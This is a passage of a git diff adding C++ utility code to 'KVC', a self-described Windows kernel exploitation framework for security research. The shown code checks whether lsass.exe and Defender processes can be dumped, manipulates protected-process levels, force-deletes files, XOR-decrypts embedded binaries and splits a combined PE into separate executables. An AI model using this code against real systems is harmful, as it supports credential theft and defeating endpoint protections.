SYSTEM_MODULE_INFORMATION { + ULONG ModulesCount; + SYSTEM_MODULE Modules[1]; + }; + + const auto* moduleInfo = reinterpret_cast(buffer.data()); + if (moduleInfo->ModulesCount > 0) { + cachedBase = reinterpret_cast(moduleInfo->Modules[0].Base); + lastCheck = currentTick; + return cachedBase; + } + } + + return std::nullopt; + } + + // Optimized PID parsing with zero-allocation validation + std::optional ParsePid(const std::wstring& pidStr) noexcept { + if (pidStr.empty() || pidStr.size() > 10) return std::nullopt; + + DWORD result = 0; + for (const wchar_t ch : pidStr) { + if (ch < L'0' || ch > L'9') return std::nullopt; + + if (result > (UINT32_MAX - (ch - L'0')) / 10) return std::nullopt; + + result = result * 10 + (ch - L'0'); + } + + return result; + } + + // Optimized numeric validation - single pass + bool IsNumeric(const std::wstring& str) noexcept { + return !str.empty() && + std::all_of(str.begin(), str.end(), [](wchar_t ch) { + return ch >= L'0' && ch <= L'9'; + }); + } + + // Force delete a file, handling read-only, system, and hidden attributes + bool ForceDeleteFile(const std::wstring& path) noexcept { + // First, try normal delete + if (DeleteFileW(path.c_str())) { + return true; + } + + // If that fails, try to remove attributes and delete again + DWORD attrs = GetFileAttributesW(path.c_str()); + if (attrs != INVALID_FILE_ATTRIBUTES) { + // Remove read-only, system, hidden attributes + SetFileAttributesW(path.c_str(), FILE_ATTRIBUTE_NORMAL); + } + + // Try delete again + if (DeleteFileW(path.c_str())) { + return true; + } + + // Final attempt: move to temp and delete after reboot if needed + wchar_t tempPath[MAX_PATH]; + if (GetTempPathW(MAX_PATH, tempPath)) { + wchar_t tempFile[MAX_PATH]; + if (GetTempFileNameW(tempPath, L"KVC", 0, tempFile)) { + if (MoveFileExW(path.c_str(), tempFile, MOVEFILE_REPLACE_EXISTING)) { + MoveFileExW(tempFile, nullptr, MOVEFILE_DELAY_UNTIL_REBOOT); + return true; + } + } + } + + return false; + } + + // Enhanced file writing with comprehensive error handling and retry logic + bool WriteFile(const std::wstring& path, const std::vector& data) { + if (data.empty()) return false; + + // Ensure parent directory exists + const fs::path filePath = path; + std::error_code ec; + fs::create_directories(filePath.parent_path(), ec); + + // First, try to delete existing file if it exists + if (fs::exists(filePath)) { + if (!ForceDeleteFile(path)) { + // If we can't delete, try to overwrite by opening with FILE_FLAG_BACKUP_SEMANTICS + HANDLE hFile = CreateFileW(path.c_str(), + GENERIC_WRITE, + 0, + nullptr, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS, + nullptr); + if (hFile != INVALID_HANDLE_VALUE) { + CloseHandle(hFile); + } else { + return false; + } + } + } + + // Primary write attempt with optimized flags + HANDLE hFile = CreateFileW(path.c_str(), + GENERIC_WRITE, + 0, // No sharing during write + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, + nullptr); + + if (hFile == INVALID_HANDLE_VALUE) { + return false; + } + + // Write data in chunks for large files to handle memory pressure + constexpr DWORD CHUNK_SIZE = 64 * 1024; // 64KB chunks + DWORD totalWritten = 0; + const DWORD totalSize = static_cast(data.size()); + + while (totalWritten < totalSize) { + const DWORD bytesToWrite = std::min(CHUNK_SIZE, totalSize - totalWritten); + DWORD bytesWritten; + + if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) { + CloseHandle(hFile); + DeleteFileW(path.c_str()); // Cleanup partial file + return false; + } + + if (bytesWritten != bytesToWrite) { + CloseHandle(hFile); + DeleteFileW(path.c_str()); // Cleanup partial file + return false; + } + + totalWritten += bytesWritten; + } + + // Ensure data is flushed to disk + FlushFileBuffers(hFile); + CloseHandle(hFile); + + return true; + } + + // Optimized file reading with memory mapping for large files + std::vector ReadFile(const std::wstring& path) { + HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ, + nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); + if (hFile == INVALID_HANDLE_VALUE) { + return {}; + } + + LARGE_INTEGER fileSize; + if (!GetFileSizeEx(hFile, &fileSize)) { + CloseHandle(hFile); + return {}; + } + + // Use memory mapping for files > 64KB for better performance + if (fileSize.QuadPart > 65536) { + HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr); + if (hMapping) { + void* pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); + if (pData) { + std::vector result(static_cast(pData), + static_cast(pData) + fileSize.QuadPart); + UnmapViewOfFile(pData); + CloseHandle(hMapping); + CloseHandle(hFile); + return result; + } + CloseHandle(hMapping); + } + } + + // Fallback to standard read for small files or mapping failure + std::vector buffer(static_cast(fileSize.QuadPart)); + DWORD bytesRead; + + BOOL success = ::ReadFile(hFile, buffer.data(), static_cast(buffer.size()), &bytesRead, nullptr); + CloseHandle(hFile); + + if (!success || bytesRead != buffer.size()) { + return {}; + } + + return buffer; + } + + // Enhanced resource extraction with validation + std::vector ReadResource(int resourceId, const wchar_t* resourceType) { + const HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(resourceId), resourceType); + if (!hRes) return {}; + + const HGLOBAL hData = LoadResource(nullptr, hRes); + if (!hData) return {}; + + const DWORD dataSize = SizeofResource(nullptr, hRes); + if (dataSize == 0) return {}; + + void* pData = LockResource(hData); + if (!pData) return {}; + + return std::vector(static_cast(pData), + static_cast(pData) + dataSize); + } + + // Advanced process name resolution with caching + static std::unordered_map g_processCache; + static DWORD g_lastCacheUpdate = 0; + + std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept { + // Cache management - refresh every 30 seconds + const DWORD currentTick = static_cast(GetTickCount64()); + if (currentTick - g_lastCacheUpdate > 30000) { + g_processCache.clear(); + g_lastCacheUpdate = currentTick; + } + + // Check cache first + const auto cacheIt = g_processCache.find(pid); + if (cacheIt != g_processCache.end()) { + return cacheIt->second; + } + + std::wstring processName = L"Unknown"; + + // Try multiple resolution methods + const HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (hProcess) { + wchar_t imageName[MAX_PATH]; + DWORD size = MAX_PATH; + + // Method 1: QueryFullProcessImageName (Vista+) + if (QueryFullProcessImageNameW(hProcess, 0, imageName, &size)) { + processName = fs::path(imageName).filename().wstring(); + } else { + // Method 2: GetProcessImageFileName fallback + if (GetProcessImageFileNameW(hProcess, imageName, MAX_PATH)) { + const std::wstring fullPath = imageName; + const size_t lastSlash = fullPath.find_last_of(L'\\'); + if (lastSlash != std::wstring::npos) { + processName = fullPath.substr(lastSlash + 1); + } + } + } + CloseHandle(hProcess); + } + + // Method 3: Toolhelp snapshot fallback for system processes + if (processName == L"Unknown") { + const HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe32; + pe32.dwSize = sizeof(pe32); + + if (Process32FirstW(hSnapshot, &pe32)) { + do { + if (pe32.th32ProcessID == pid) { + processName = pe32.szExeFile; + break; + } + } while (Process32NextW(hSnapshot, &pe32)); + } + CloseHandle(hSnapshot); + } + } + + // Cache the result + g_processCache[pid] = processName; + return processName; + } + + // Static string lookup tables for performance + static constexpr const wchar_t* PROTECTION_LEVELS[] = { + L"None", L"PPL-Authenticode", L"PPL-Antimalware", L"PPL-App", + L"PP-Authenticode", L"PP-Antimalware", L"PP-App", L"PP-Windows" + }; + + static constexpr const wchar_t* SIGNER_TYPES[] = { + L"None", L"Authenticode", L"CodeGen", L"Antimalware", + L"Lsa", L"Windows", L"WinTcb", L"WinSystem", L"App" + }; + + // Multi-method process name resolution with fallbacks + std::wstring GetProcessName(DWORD pid) noexcept + { + if (pid == 0) + return L"System Idle Process"; + if (pid == 4) + return L"System [NT Kernel Core]"; + + static const std::unordered_map knownSystemPids = { + {188, L"Secure System"}, + {232, L"Registry"}, + {3052, L"Memory Compression"}, + {3724, L"Memory Manager"}, + {256, L"VSM Process"}, + {264, L"VBS Process"}, + {288, L"Font Driver Host"}, + {296, L"User Mode Driver Host"} + }; + + if (auto it = knownSystemPids.find(pid); it != knownSystemPids.end()) { + return it->second; + } + + HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, FALSE, pid); + if (!hProcess) { + hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + } + + if (hProcess) { + wchar_t processName[MAX_PATH] = {0}; + DWORD size = MAX_PATH; + + if (QueryFullProcessImageNameW(hProcess, 0, processName, &size)) { + std::wstring fullPath(processName); + size_t lastSlash = fullPath.find_last_of(L'\\'); + if (lastSlash != std::wstring::npos) { + CloseHandle(hProcess); + return fullPath.substr(lastSlash + 1); + } + } + + if (GetProcessImageFileNameW(hProcess, processName, MAX_PATH)) { + std::wstring fullPath(processName); + size_t lastSlash = fullPath.find_last_of(L'\\'); + if (lastSlash != std::wstring::npos) { + CloseHandle(hProcess); + return fullPath.substr(lastSlash + 1); + } + } + CloseHandle(hProcess); + } + + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe; + pe.dwSize = sizeof(PROCESSENTRY32W); + + if (Process32FirstW(hSnapshot, &pe)) { + do { + if (pe.th32ProcessID == pid) { + CloseHandle(hSnapshot); + return std::wstring(pe.szExeFile); + } + } while (Process32NextW(hSnapshot, &pe)); + } + CloseHandle(hSnapshot); + } + + return L"[Unknown]"; + } + + // Protection level string mappings with static caching + const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept + { + static const std::wstring none = L"None"; + static const std::wstring ppl = L"PPL"; + static const std::wstring pp = L"PP"; + static const std::wstring unknown = L"Unknown"; + + switch (static_cast(protectionLevel)) + { + case PS_PROTECTED_TYPE::None: return none.c_str(); + case PS_PROTECTED_TYPE::ProtectedLight: return ppl.c_str(); + case PS_PROTECTED_TYPE::Protected: return pp.c_str(); + default: return unknown.c_str(); + } + } + + const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept + { + static const std::wstring none = L"None"; + static const std::wstring authenticode = L"Authenticode"; + static const std::wstring codegen = L"CodeGen"; + static const std::wstring antimalware = L"Antimalware"; + static const std::wstring lsa = L"Lsa"; + static const std::wstring windows = L"Windows"; + static const std::wstring wintcb = L"WinTcb"; + static const std::wstring winsystem = L"WinSystem"; + static const std::wstring app = L"App"; + static const std::wstring unknown = L"Unknown"; + + switch (static_cast(signerType)) + { + case PS_PROTECTED_SIGNER::None: return none.c_str(); + case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str(); + case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str(); + case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str(); + case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str(); + case PS_PROTECTED_SIGNER::Windows: return windows.c_str(); + case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str(); + case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str(); + case PS_PROTECTED_SIGNER::App: return app.c_str(); + default: return unknown.c_str(); + } + } + + const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept +{ + static const std::wstring none = L"None"; + static const std::wstring authenticode = L"Authenticode"; + static const std::wstring codegen = L"CodeGen"; + static const std::wstring antimalware = L"Antimalware"; + static const std::wstring lsa = L"Lsa"; + static const std::wstring windows = L"Windows"; + static const std::wstring wintcb = L"WinTcb"; + static const std::wstring winsystem = L"WinSystem"; + static const std::wstring app = L"App"; + static const std::wstring unknown = L"Unknown"; + + UCHAR level = signatureLevel & 0x0F; + switch (static_cast(level)) + { + case PS_PROTECTED_SIGNER::None: return none.c_str(); + case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str(); + case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str(); + case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str(); + case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str(); + case PS_PROTECTED_SIGNER::Windows: return windows.c_str(); + case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str(); + case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str(); + case PS_PROTECTED_SIGNER::App: return app.c_str(); + default: return unknown.c_str(); + } +} + + // String to protection level parsing for command line input + std::optional GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept + { + static const std::unordered_map levels = { + {L"none", static_cast(PS_PROTECTED_TYPE::None)}, + {L"ppl", static_cast(PS_PROTECTED_TYPE::ProtectedLight)}, + {L"pp", static_cast(PS_PROTECTED_TYPE::Protected)} + }; + + std::wstring lower = protectionLevel; + std::transform(lower.begin(), lower.end(), lower.begin(), ::towlower); + + auto it = levels.find(lower); + return (it != levels.end()) ? std::make_optional(it->second) : std::nullopt; + } + + std::optional GetSignerTypeFromString(const std::wstring& signerType) noexcept + { + std::wstring lower = signerType; + std::transform(lower.begin(), lower.end(), lower.begin(), ::towlower); + + if (lower == L"none") return static_cast(PS_PROTECTED_SIGNER::None); + if (lower == L"authenticode") return static_cast(PS_PROTECTED_SIGNER::Authenticode); + if (lower == L"codegen") return static_cast(PS_PROTECTED_SIGNER::CodeGen); + if (lower == L"antimalware") return static_cast(PS_PROTECTED_SIGNER::Antimalware); + if (lower == L"lsa") return static_cast(PS_PROTECTED_SIGNER::Lsa); + if (lower == L"windows") return static_cast(PS_PROTECTED_SIGNER::Windows); + if (lower == L"wintcb") return static_cast(PS_PROTECTED_SIGNER::WinTcb); + if (lower == L"winsystem") return static_cast(PS_PROTECTED_SIGNER::WinSystem); + if (lower == L"app") return static_cast(PS_PROTECTED_SIGNER::App); + + return std::nullopt; + } + + // Comprehensive process dumpability analysis with detailed reasoning + ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept + { + ProcessDumpability result; + result.CanDump = false; // Initialize + + // Known undumpable system processes + static const std::unordered_set undumpablePids = { + 4, // System process + 188, // Secure System + 232, // Registry process + 3052 // Memory Compression + }; + + static const std::unordered_set undumpableNames = { + L"System", + L"Secure System", + L"Registry", + L"Memory Compression" + }; + + if (undumpablePids.find(pid) != undumpablePids.end()) + { + result.CanDump = false; + result.Reason = L"System kernel process - undumpable by design"; + return result; + } + + if (undumpableNames.find(processName) != undumpableNames.end()) + { + result.CanDump = false; + + if (processName == L"System") + result.Reason = L"Windows kernel process - cannot be dumped"; + else if (processName == L"Secure System") + result.Reason = L"VSM/VBS protected process - virtualization-based security"; + else if (processName == L"Registry") + result.Reason = L"Kernel registry subsystem - critical system component"; + else if (processName == L"Memory Compression") + result.Reason = L"Kernel memory manager - system critical process"; + else + result.Reason = L"System process - protected by Windows kernel"; + + return result; + } + + // Special case analysis for known processes + if (processName == L"csrss.exe" || processName == L"csrss") + { + result.CanDump = true; + result.Reason = L"CSRSS (Win32 subsystem) - dumpable with PPL-WinTcb or higher protection"; + return result; + } + + if (pid < 100 && pid != 0) + { + result.CanDump = true; + result.Reason = L"Low PID system process - dumping may fail due to protection"; + return result; + } + + if (processName == L"[Unknown]") + { + if (pid < 500) + { + result.CanDump = true; + result.Reason = L"System process with unknown name - may be dumpable with elevated protection"; + } + else + { + result.CanDump = true; + result.Reason = L"Process with unknown name - likely dumpable with appropriate privileges"; + } + return result; + } + + // Pattern-based analysis for virtualization and security software + if (processName.find(L"vmms") != std::wstring::npos || + processName.find(L"vmwp") != std::wstring::npos || + processName.find(L"vmcompute") != std::wstring::npos) + { + result.CanDump = true; + result.Reason = L"Hyper-V process - may require elevated protection to dump"; + return result; + } + + if (processName.find(L"MsMpEng") != std::wstring::npos || + processName.find(L"NisSrv") != std::wstring::npos || + processName.find(L"SecurityHealthService") != std::wstring::npos) + { + result.CanDump = true; + result.Reason = L"Security software - may require Antimalware protection level to dump"; + return result; + } + + if (processName == L"lsass.exe" || processName == L"lsass") + { + result.CanDump = true; + result.Reason = L"LSASS process - typically protected, may require PPL-WinTcb or higher"; + return result; + } + + result.CanDump = true; + result.Reason = L"Standard user process - should be dumpable with appropriate privileges"; + return result; + } + + // Universal hex string converter - handles registry exports, debug output, and various formats + bool HexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept + { + if (hexString.empty()) { + bytes.clear(); + return true; + } + + // Handle common prefixes: 0x, 0X + size_t startPos = 0; + if (hexString.length() >= 2 && hexString[0] == L'0' && + (hexString[1] == L'x' || hexString[1] == L'X')) { + startPos = 2; + } + + // Build clean hex string - filter out common separators + std::wstring cleanHex; + cleanHex.reserve(hexString.length()); + + for (size_t i = startPos; i < hexString.length(); ++i) { + wchar_t c = hexString[i]; + if ((c >= L'0' && c <= L'9') || + (c >= L'a' && c <= L'f') || + (c >= L'A' && c <= L'F')) { + cleanHex += c; + } + // Skip: spaces, tabs, commas, hyphens, backslashes, newlines + } + + // Must have even number of hex digits + if (cleanHex.length() % 2 != 0) { + return false; + } + + // Efficient conversion + bytes.clear(); + bytes.reserve(cleanHex.length() / 2); + + for (size_t i = 0; i < cleanHex.length(); i += 2) { + BYTE value = 0; + + // High nibble + wchar_t h = cleanHex[i]; + if (h >= L'0' && h <= L'9') value = (h - L'0') << 4; + else if (h >= L'a' && h <= L'f') value = (h - L'a' + 10) << 4; + else if (h >= L'A' && h <= L'F') value = (h - L'A' + 10) << 4; + + // Low nibble + wchar_t l = cleanHex[i + 1]; + if (l >= L'0' && l <= L'9') value |= (l - L'0'); + else if (l >= L'a' && l <= L'f') value |= (l - L'a' + 10); + else if (l >= L'A' && l <= L'F') value |= (l - L'A' + 10); + + bytes.push_back(value); + } + + return true; + } + + // Fast hex validation without conversion + bool IsValidHexString(const std::wstring& hexString) noexcept + { + if (hexString.empty()) return true; + + size_t startPos = 0; + if (hexString.length() >= 2 && hexString[0] == L'0' && + (hexString[1] == L'x' || hexString[1] == L'X')) { + startPos = 2; + } + + size_t hexCount = 0; + for (size_t i = startPos; i < hexString.length(); ++i) { + wchar_t c = hexString[i]; + if ((c >= L'0' && c <= L'9') || + (c >= L'a' && c <= L'f') || + (c >= L'A' && c <= L'F')) { + ++hexCount; + } + // Skip whitespace and separators + } + + return (hexCount % 2 == 0); // Must have even number of hex digits + } + + // PE parsing utility - determine exact file length by analyzing headers and sections + std::optional GetPEFileLength(const std::vector& data, size_t offset) noexcept + { + try { + // Validate minimum DOS header size + if (data.size() < offset + 0x40) { + return std::nullopt; + } + + // Check DOS signature "MZ" + if (data[offset] != 'M' || data[offset + 1] != 'Z') { + return std::nullopt; + } + + // Get PE header offset from DOS header e_lfanew field (offset 0x3C) + DWORD e_lfanew; + std::memcpy(&e_lfanew, &data[offset + 0x3C], sizeof(DWORD)); + + size_t pe_header_offset = offset + e_lfanew; + if (pe_header_offset + 6 > data.size()) { + return std::nullopt; + } + + // Check PE signature "PE\0\0" + if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' || + data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) { + return std::nullopt; + } + + // Get number of sections and optional header size + WORD number_of_sections; + WORD size_of_optional_header; + std::memcpy(&number_of_sections, &data[pe_header_offset + 6], sizeof(WORD)); + std::memcpy(&size_of_optional_header, &data[pe_header_offset + 20], sizeof(WORD)); + + // Calculate section table offset + size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header; + constexpr size_t section_header_size = 40; + + size_t max_end = 0; + + // Parse each section header to find maximum file extent + for (WORD i = 0; i < number_of_sections; ++i) { + size_t sh_offset = section_table_offset + i * section_header_size; + if (sh_offset + 40 > data.size()) { + return std::nullopt; // Incomplete section table + } + + // Get SizeOfRawData (offset +16) and PointerToRawData (offset +20) + DWORD size_of_raw, pointer_to_raw; + std::memcpy(&size_of_raw, &data[sh_offset + 16], sizeof(DWORD)); + std::memcpy(&pointer_to_raw, &data[sh_offset + 20], sizeof(DWORD)); + + if (pointer_to_raw == 0) { + continue; // Skip sections without raw data + } + + size_t section_end = pointer_to_raw + size_of_raw; + if (section_end > max_end) { + max_end = section_end; + } + } + + if (max_end > 0) { + // Ensure we include all headers + size_t header_end = section_table_offset + number_of_sections * section_header_size; + size_t file_end = std::max(max_end, header_end); + return std::min(file_end, data.size()); + } + + return std::nullopt; + + } catch (...) { + return std::nullopt; + } + } + + // Split combined PE binary into separate components using intelligent parsing + bool SplitCombinedPE(const std::vector& combined, + std::vector& first, + std::vector& second) noexcept + { + try { + if (combined.empty()) { + return false; + } + + // Try to determine exact size of first PE file + auto first_size = GetPEFileLength(combined, 0); + + if (!first_size.has_value() || first_size.value() <= 0 || first_size.value() >= combined.size()) { + // Fallback: search for next "MZ" signature after reasonable offset + constexpr size_t search_start = 0x200; + size_t search_offset = (combined.size() > search_start) ? search_start : 1; + + // Look for next MZ header + for (size_t i = search_offset; i < combined.size() - 1; ++i) { + if (combined[i] == 'M' && combined[i + 1] == 'Z') { + first_size = i; + break; + } + } + + // If still no valid split found, use entire data as first file + if (!first_size.has_value()) { + first_size = combined.size(); + } + } + + // Split the data + size_t split_point = first_size.value(); + + // Extract first PE file (kvc_pass.exe) + first.clear(); + first.reserve(split_point); + first.assign(combined.begin(), combined.begin() + split_point); + + // Extract second PE file (kvc_crypt.dll) - remainder of data + second.clear(); + if (split_point < combined.size()) { + second.reserve(combined.size() - split_point); + second.assign(combined.begin() + split_point, combined.end()); + } + + return true; + + } catch (...) { + first.clear(); + second.clear(); + return false; + } + } + + // XOR decryption using repeating key pattern (same as driver decryption) + std::vector DecryptXOR(const std::vector& encryptedData, + const std::array& key) noexcept + { + try { + if (encryptedData.empty()) { + return {}; + } + + std::vector decryptedData; + decryptedData.reserve(encryptedData.size()); + + // XOR decryption with repeating key pattern + for (size_t i = 0; i < encryptedData.size(); ++i) { + BYTE decrypted_byte = encryptedData[i] ^ key[i % key.size()]; + decryptedData.push_back(decrypted_byte); + } + + return decryptedData; + + } catch (...) { + return {}; + } + } +} \ No newline at end of file diff --git a/kvc/Utils.h b/kvc/Utils.h new file mode 100644 index 0000000..ddf9498 --- /dev/null +++ b/kvc/Utils.h @@ -0,0 +1,90 @@ +#pragma once + +#include "common.h" +#include +#include +#include +#include +#include + +namespace Utils +{ + // String and numeric parsing utilities + std::optional ParsePid(const std::wstring& pidStr) noexcept; + bool IsNumeric(const std::wstring& str) noexcept; + + // Resource and file operations + std::vector ReadFile(const std::wstring& path); + std::vector ReadResource(int resourceId, const wchar_t* resourceType); + bool WriteFile(const std::wstring& path, const std::vector& data); + + // Advanced process name resolution + std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept; + + // Kernel operations with inline optimizations + std::optional GetKernelBaseAddress() noexcept; + + constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept + { + return base + offset; + } + + constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept + { + return protection & 0x07; + } + + constexpr UCHAR GetSignerType(UCHAR protection) noexcept + { + return (protection & 0xf0) >> 4; + } + + constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept + { + return (signerType << 4) | protectionLevel; + } + + constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept + { + return signatureLevel & 0x0F; + } + + constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept + { + return sectionSignatureLevel & 0x0F; + } + + // String conversion functions with static caching + const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept; + const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept; + const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept; + + // Parsing functions for command-line input + std::optional GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept; + std::optional GetSignerTypeFromString(const std::wstring& signerType) noexcept; + std::optional GetSignatureLevel(UCHAR signerType) noexcept; + std::optional GetSectionSignatureLevel(UCHAR signerType) noexcept; + + // Process operations with comprehensive dumpability analysis + std::wstring GetProcessName(DWORD pid) noexcept; + + struct ProcessDumpability + { + bool CanDump; + std::wstring Reason; + }; + + ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept; + + // Hex string processing utilities for kernel tools + bool HexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept; + bool IsValidHexString(const std::wstring& hexString) noexcept; + + // PE parsing and binary manipulation utilities + std::optional GetPEFileLength(const std::vector& data, size_t offset = 0) noexcept; + bool SplitCombinedPE(const std::vector& combined, + std::vector& first, + std::vector& second) noexcept; + std::vector DecryptXOR(const std::vector& encryptedData, + const std::array& key) noexcept; +} \ No newline at end of file diff --git a/kvc/common.cpp b/kvc/common.cpp new file mode 100644 index 0000000..8dce31c --- /dev/null +++ b/kvc/common.cpp @@ -0,0 +1,293 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// common.cpp - Core system utilities and dynamic API management +// Implements service management, system path resolution, and Windows API abstraction + +#include "common.h" +#include "ServiceManager.h" +#include + +// Link essential Windows libraries for kernel and service operations +#pragma comment(lib, "shlwapi.lib") +#pragma comment(lib, "psapi.lib") +#pragma comment(lib, "DbgHelp.lib") +#pragma comment(lib, "Shell32.lib") +#pragma comment(lib, "Advapi32.lib") + +// Global interrupt flag for graceful shutdown handling +volatile bool g_interrupted = false; + +// Service mode flag - indicates NT service execution context +bool g_serviceMode = false; + +// Dynamic API loading globals for service and driver management +// Using smart pointers for automatic cleanup and exception safety +ModuleHandle g_advapi32; +SystemModuleHandle g_kernel32; + +// Function pointers for Windows Service Control Manager APIs +decltype(&CreateServiceW) g_pCreateServiceW = nullptr; +decltype(&OpenServiceW) g_pOpenServiceW = nullptr; +decltype(&StartServiceW) g_pStartServiceW = nullptr; +decltype(&DeleteService) g_pDeleteService = nullptr; +decltype(&CreateFileW) g_pCreateFileW = nullptr; +decltype(&ControlService) g_pControlService = nullptr; + +// Initialize dynamic API loading for service management operations +// Returns: true if all required APIs successfully loaded, false on failure +bool InitDynamicAPIs() noexcept +{ + // Load advapi32.dll only once using lazy initialization + if (!g_advapi32) { + HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll"); + if (!raw_advapi32) { + DEBUG(L"Failed to load advapi32.dll: %d", GetLastError()); + return false; + } + + // Wrap raw handle in smart pointer for automatic cleanup + g_advapi32.reset(raw_advapi32); + + // Resolve all required service management functions + g_pCreateServiceW = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "CreateServiceW")); + + g_pOpenServiceW = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "OpenServiceW")); + + g_pStartServiceW = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "StartServiceW")); + + g_pDeleteService = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "DeleteService")); + + g_pControlService = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "ControlService")); + + if (!g_pCreateServiceW || !g_pOpenServiceW || !g_pStartServiceW || + !g_pDeleteService || !g_pControlService) { + DEBUG(L"Failed to resolve advapi32 function pointers"); + return false; + } + } + + // Load kernel32.dll functions (system modules don't need manual free) + if (!g_kernel32) { + HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll"); + if (raw_kernel32) { + g_kernel32.reset(raw_kernel32); + + g_pCreateFileW = reinterpret_cast( + GetProcAddress(g_kernel32.get(), "CreateFileW")); + + if (!g_pCreateFileW) { + DEBUG(L"Failed to resolve kernel32 CreateFileW"); + return false; + } + } else { + DEBUG(L"Failed to get kernel32.dll handle: %d", GetLastError()); + return false; + } + } + + // Verify all function pointers are valid before proceeding + return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW && + g_pDeleteService && g_pCreateFileW && g_pControlService; +} + +// RAII wrapper for SC_HANDLE management to prevent resource leaks +class ServiceHandle { +private: + SC_HANDLE handle_; + +public: + explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {} + + ~ServiceHandle() noexcept { + if (handle_) { + CloseServiceHandle(handle_); + } + } + + // Move semantics for efficient transfer of ownership + ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) { + other.handle_ = nullptr; + } + + ServiceHandle& operator=(ServiceHandle&& other) noexcept { + if (this != &other) { + if (handle_) { + CloseServiceHandle(handle_); + } + handle_ = other.handle_; + other.handle_ = nullptr; + } + return *this; + } + + // Non-copyable for safety - prevents double-close bugs + ServiceHandle(const ServiceHandle&) = delete; + ServiceHandle& operator=(const ServiceHandle&) = delete; + + // Access operators for SC_HANDLE compatibility + operator SC_HANDLE() const noexcept { return handle_; } + explicit operator bool() const noexcept { return handle_ != nullptr; } + SC_HANDLE get() const noexcept { return handle_; } +}; + +// Check if KVC service is installed in the system +// Returns: true if service registry entry exists, false otherwise +bool IsServiceInstalled() noexcept +{ + if (!InitDynamicAPIs()) { + DEBUG(L"InitDynamicAPIs failed in IsServiceInstalled"); + return false; + } + + // Connect to 